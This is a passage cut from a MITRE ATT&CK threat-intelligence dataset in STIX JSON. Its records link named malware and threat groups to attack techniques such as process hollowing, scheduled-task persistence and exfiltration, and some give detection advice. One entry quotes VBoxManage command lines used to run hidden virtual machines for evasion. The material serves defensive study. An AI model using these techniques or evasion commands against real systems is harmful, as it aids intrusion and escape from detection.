"2019-04-24T23:10:02.411Z", "description": "[BBSRAT](https://attack.mitre.org/software/S0127) has been seen loaded into msiexec.exe through process hollowing to hide its execution.(Citation: Palo Alto Networks BBSRAT)", "relationship_type": "uses", "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ec60f1d2-2bb3-459d-8095-5bda47927226", "type": "relationship", "created": "2020-11-09T16:36:23.514Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research", "source_name": "Cybereason Astaroth Feb 2019"}], "modified": "2020-12-08T20:57:58.405Z", "description": "[Astaroth](https://attack.mitre.org/software/S0373) has used a DGA in C2 communications.(Citation: Cybereason Astaroth Feb 2019)", "relationship_type": "uses", "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ec61cd5f-b6aa-4aee-acb2-2882b8914c68", "type": "relationship", "created": "2019-06-20T14:52:45.260Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html", "source_name": "FireEye HAWKBALL Jun 2019"}], "modified": "2019-07-06T21:31:25.785Z", "description": "[HAWKBALL](https://attack.mitre.org/software/S0391) has leveraged several Windows API calls to create processes, gather disk information, and detect debugger activity.(Citation: FireEye HAWKBALL Jun 2019)", "relationship_type": "uses", "source_ref": "malware--12a7450d-b03e-4990-a5b8-b405ab9c803b", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ec62edb4-a463-46f8-82de-1a893caceb5e", "type": "relationship", "created": "2021-09-30T12:53:34.277Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cyberint Qakbot May 2021", "url": "https://blog.cyberint.com/qakbot-banking-trojan", "description": "Cyberint. (2021, May 25). Qakbot Banking Trojan. Retrieved September 27, 2021."}], "modified": "2021-09-30T12:53:34.277Z", "description": "[QakBot](https://attack.mitre.org/software/S0650) can encrypt and pack malicious payloads.(Citation: Cyberint Qakbot May 2021)", "relationship_type": "uses", "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ec66e3d3-b67a-44c8-96d1-4f6ddc8a08ab", "created": "2022-03-30T14:26:51.874Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Microsoft Nobelium Admin Privileges", "url": "https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks", "description": "Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved January 31, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "Configuration management databases (CMDB) and other asset management systems may help with the detection of computer systems or network devices that should not exist on a network. Monitor logs for unexpected actions taken by any delegated administrator accounts.(Citation: Microsoft Nobelium Admin Privileges)", "modified": "2022-05-27T18:10:01.520Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ec6a8fde-702a-4e38-a37b-428a8ca10b18", "type": "relationship", "created": "2017-05-31T21:33:27.040Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf", "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", "source_name": "Microsoft SIR Vol 19"}], "modified": "2020-03-16T23:29:57.772Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) has stored captured credential information in a file named pi.log.(Citation: Microsoft SIR Vol 19)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ec6d7edc-f538-41ce-89b6-a2c424ddd58b", "type": "relationship", "created": "2021-09-29T14:09:57.693Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Netscout Stolen Pencil Dec 2018", "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/", "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019."}, {"source_name": "KISA Operation Muzabi", "url": "https://www.boho.or.kr/krcert/publicationView.do?bulletin_writing_sequence=35936", "description": "KISA. (n.d.). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 7, 2022."}], "modified": "2022-03-15T20:02:44.591Z", "description": "(Citation: Netscout Stolen Pencil Dec 2018)(Citation: KISA Operation Muzabi)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ec6dc634-8214-4817-aabb-30ffb19ad4cc", "type": "relationship", "created": "2022-03-24T22:31:32.761Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub SILENTTRINITY Modules July 2019", "url": "https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo", "description": "Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}], "modified": "2022-03-24T22:31:32.761Z", "description": "[SILENTTRINITY](https://attack.mitre.org/software/S0692) can gather a list of logged on users.(Citation: GitHub SILENTTRINITY Modules July 2019) ", "relationship_type": "uses", "source_ref": "tool--1244e058-fa10-48cb-b484-0bcf671107ae", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ec72af45-d362-41c1-99d1-7a225a823049", "created": "2021-11-22T16:37:40.778Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Profero APT27 December 2020", "description": "Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.", "url": "https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"}, {"source_name": "Trend Micro DRBControl February 2020", "description": "Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.", "url": "https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T20:05:38.088Z", "description": "[RCSession](https://attack.mitre.org/software/S0662) can write its configuration file to the Registry.(Citation: Trend Micro DRBControl February 2020)(Citation: Profero APT27 December 2020)", "relationship_type": "uses", "source_ref": "malware--03acae53-9b98-46f6-b204-16b930839055", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ec85433f-2635-4e7c-af49-6dbfb269dbbd", "type": "relationship", "created": "2019-06-13T19:12:07.298Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", "url": "http://blog.morphisec.com/security-alert-fin8-is-back", "source_name": "Morphisec ShellTea June 2019"}], "modified": "2019-06-28T20:48:52.676Z", "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can gather system information such as computer names.(Citation: Morphisec ShellTea June 2019)\t", "relationship_type": "uses", "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ec8858d9-0379-4995-8873-76c8f2a2c07d", "created": "2022-10-13T13:26:22.197Z", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. 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Retrieved November 12, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Clambling](https://attack.mitre.org/software/S0660) can collect information from a compromised host.(Citation: Trend Micro DRBControl February 2020)", "modified": "2022-04-11T15:05:24.600Z", "relationship_type": "uses", "source_ref": "malware--6e95feb1-78ee-48d3-b421-4d76663b5c49", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ec8f73de-eab1-4d3b-88c0-7885716aa748", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf", "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", "source_name": "Lookout Dark Caracal Jan 2018"}], "modified": "2020-06-03T20:22:40.687Z", "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) took screenshots using their Windows malware.(Citation: Lookout Dark Caracal Jan 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ec93d74e-482d-47f0-bd1d-307aa8cd6d77", "type": "relationship", "created": "2022-03-30T14:26:51.858Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.858Z", "description": "Monitor for newly constructed files by unusual accounts outside of normal administration duties", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ec9574b7-95ec-4d84-b468-164e918bbffd", "type": "relationship", "created": "2021-11-29T20:41:54.076Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Iron Tiger April 2021", "url": "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html", "description": "Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}], "modified": "2021-11-29T20:41:54.076Z", "description": "(Citation: Trend Micro Iron Tiger April 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "malware--a545456a-f9a7-47ad-9ea6-8b017def38d1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ec9653f3-7214-4e41-81f2-478ec407de15", "type": "relationship", "created": "2022-03-30T14:26:51.875Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.875Z", "description": "Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account.", "source_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ec9a7e1d-53f8-4a79-a5dd-a5890bf421ba", "type": "relationship", "created": "2021-08-18T20:30:58.057Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA21-200A APT40 July 2021", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a", "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department. Retrieved August 12, 2021."}], "modified": "2021-08-19T16:54:10.851Z", "description": "(Citation: CISA AA21-200A APT40 July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", "target_ref": "tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ec9e1757-50c1-4fd8-a0be-2694b1bc9e99", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 OopsIE! Feb 2018", "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"}, {"source_name": "Unit 42 OilRig Sept 2018", "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"}], "modified": "2019-04-24T23:40:23.527Z", "description": "[OopsIE](https://attack.mitre.org/software/S0264) uses the Confuser protector to obfuscate an embedded .Net Framework assembly used for C2. [OopsIE](https://attack.mitre.org/software/S0264) also encodes collected data in hexadecimal format before writing to files on disk and obfuscates strings.(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 OilRig Sept 2018)", "relationship_type": "uses", "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--eca046f5-9175-4010-8297-07281f588934", "type": "relationship", "created": "2021-03-19T21:04:01.283Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Valak May 2020", "url": "https://www.cybereason.com/blog/valak-more-than-meets-the-eye", "description": "Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."}, {"source_name": "Unit 42 Valak July 2020", "url": "https://unit42.paloaltonetworks.com/valak-evolution/", "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."}, {"source_name": "Unit 42 TA551 Jan 2021", "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."}, {"source_name": "Secureworks GOLD CABIN", "url": "https://www.secureworks.com/research/threat-profiles/gold-cabin", "description": "Secureworks. (n.d.). GOLD CABIN Threat Profile. Retrieved March 17, 2021."}], "modified": "2021-03-19T21:04:01.283Z", "description": "(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)(Citation: Unit 42 TA551 Jan 2021)(Citation: Secureworks GOLD CABIN)", "relationship_type": "uses", "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", "target_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--eca68811-ebe9-4ee0-8fb0-afa5975eb938", "created": "2022-02-08T16:02:12.579Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "CrowdStrike StellarParticle January 2022", "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/", "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[TrailBlazer](https://attack.mitre.org/software/S0682) has used filenames that match the name of the compromised system in attempt to avoid detection.(Citation: CrowdStrike StellarParticle January 2022)", "modified": "2022-04-15T22:21:03.427Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--bdad6f3b-de88-42fa-9295-d29b5271808e", "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--eca69ead-d0af-4926-9faf-c82baea31296", "created": "2021-12-27T16:53:13.967Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "TrendMicro Confucius APT Aug 2021", "url": "https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html", "description": "Lunghi, D. (2021, August 17). Confucius Uses Pegasus Spyware-related Lures to Target Pakistani Military. Retrieved December 26, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Confucius](https://attack.mitre.org/groups/G0142) has created scheduled tasks to maintain persistence on a compromised host.(Citation: TrendMicro Confucius APT Aug 2021)", "modified": "2022-04-18T12:34:52.938Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ecb0d858-dd15-4181-b15b-76459db1d294", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Fidelis INOCNATION", "description": "Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.", "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf"}], "modified": "2021-02-09T14:57:16.183Z", "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) executes using regsvr32.exe called from the [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001) persistence mechanism.(Citation: Fidelis INOCNATION)", "relationship_type": "uses", "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc", "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ecb422f4-f957-4a33-aa32-b1f77bc626b6", "type": "relationship", "created": "2022-03-30T14:26:51.856Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.856Z", "description": "Monitor compressed/archive and image files downloaded from the Internet as the contents may not be tagged with the MOTW. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ecb55914-837c-4600-a0f8-65d83d2d726b", "created": "2022-01-10T19:52:49.118Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Prevailion DarkWatchman 2021", "description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.", "url": "https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-12-26T19:35:21.213Z", "description": "[DarkWatchman](https://attack.mitre.org/software/S0673) can collect the OS version, system architecture, and computer name.(Citation: Prevailion DarkWatchman 2021)", "relationship_type": "uses", "source_ref": "malware--63686509-069b-4143-99ea-4e59cad6cb2a", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ecb5e830-b678-47a6-98a2-d4dbe162f09e", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT32 May 2017", "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}], "modified": "2020-03-19T19:56:10.609Z", "description": "[PHOREAL](https://attack.mitre.org/software/S0158) is capable of creating reverse shell.(Citation: FireEye APT32 May 2017)", "relationship_type": "uses", "source_ref": "malware--f6ae7a52-f3b6-4525-9daf-640c083f006e", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ecb5f29d-9670-4997-991a-d99828906374", "type": "relationship", "created": "2021-08-04T15:42:58.303Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC Nobelium Toolset May 2021", "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", "description": "MSTIC. (2021, May 28). Breaking down NOBELIUM\u2019s latest early-stage toolset. Retrieved August 4, 2021."}], "modified": "2021-08-04T15:42:58.303Z", "description": "[VaporRage](https://attack.mitre.org/software/S0636) can use HTTP to download shellcode from compromised websites.(Citation: MSTIC Nobelium Toolset May 2021)", "relationship_type": "uses", "source_ref": "malware--96eca9b9-b37f-42f1-96dc-a2c441403194", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ecb7a35e-cc83-4b7d-9eb6-42d0bd7d5d9e", "type": "relationship", "created": "2020-09-29T19:16:57.931Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA WellMail July 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c", "description": "CISA. (2020, July 16). MAR-10296782-3.v1 \u2013 WELLMAIL. Retrieved September 29, 2020."}], "modified": "2020-09-29T19:16:57.931Z", "description": "[WellMail](https://attack.mitre.org/software/S0515) can exfiltrate files from the victim machine.(Citation: CISA WellMail July 2020)", "relationship_type": "uses", "source_ref": "malware--959f3b19-2dc8-48d5-8942-c66813a5101a", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ecba3572-741f-4b9f-8d4e-a44d9b648ae6", "created": "2022-03-30T14:26:51.866Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Shadowbunny VM Defense Evasion", "url": "https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/", "description": "Johann Rehberger. (2020, September 23). Beware of the Shadowbunny - Using virtual machines to persist and evade detections. Retrieved September 22, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "Consider monitoring for commands and arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a silent installation may be especially suspect (ex. <code>-silent</code>, <code>-ignore-reboot</code>), as well as those associated with running a headless (in the background with no UI) virtual instance (ex. <code>VBoxManage startvm $VM --type headless</code>).(Citation: Shadowbunny VM Defense Evasion) Similarly, monitoring command line arguments which suppress notifications may highlight potentially malicious activity (ex. <code>VBoxManage.exe setextradata global GUI/SuppressMessages \"all\"</code>). 